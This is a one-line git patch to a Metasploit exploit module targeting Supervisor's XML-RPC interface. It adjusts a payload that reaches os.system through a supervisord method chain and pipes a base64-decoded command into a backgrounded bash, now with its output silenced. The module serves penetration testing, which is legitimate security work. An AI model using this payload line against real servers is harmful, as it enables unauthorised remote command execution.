From 3b745bd17cbc17f487bf6a0a262ae9638679c80c Mon Sep 17 00:00:00 2001 From: Calum Hutton Date: Wed, 30 Aug 2017 03:49:30 +0100 Subject: [PATCH] Rework the bash, redirect stdout/err to /dev/null Dont need the - --- modules/exploits/linux/http/supervisor_xmlrpc_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/supervisor_xmlrpc_exec.rb b/modules/exploits/linux/http/supervisor_xmlrpc_exec.rb index 5429354d89..1efe142534 100644 --- a/modules/exploits/linux/http/supervisor_xmlrpc_exec.rb +++ b/modules/exploits/linux/http/supervisor_xmlrpc_exec.rb @@ -125,7 +125,7 @@ class MetasploitModule < Msf::Exploit::Remote supervisor.supervisord.options.warnings.linecache.os.system - echo -n #{Rex::Text.encode_base64(cmd)}|base64 -d|nohup bash - & + echo -n #{Rex::Text.encode_base64(cmd)}|base64 -d|nohup bash > /dev/null 2>&1 & }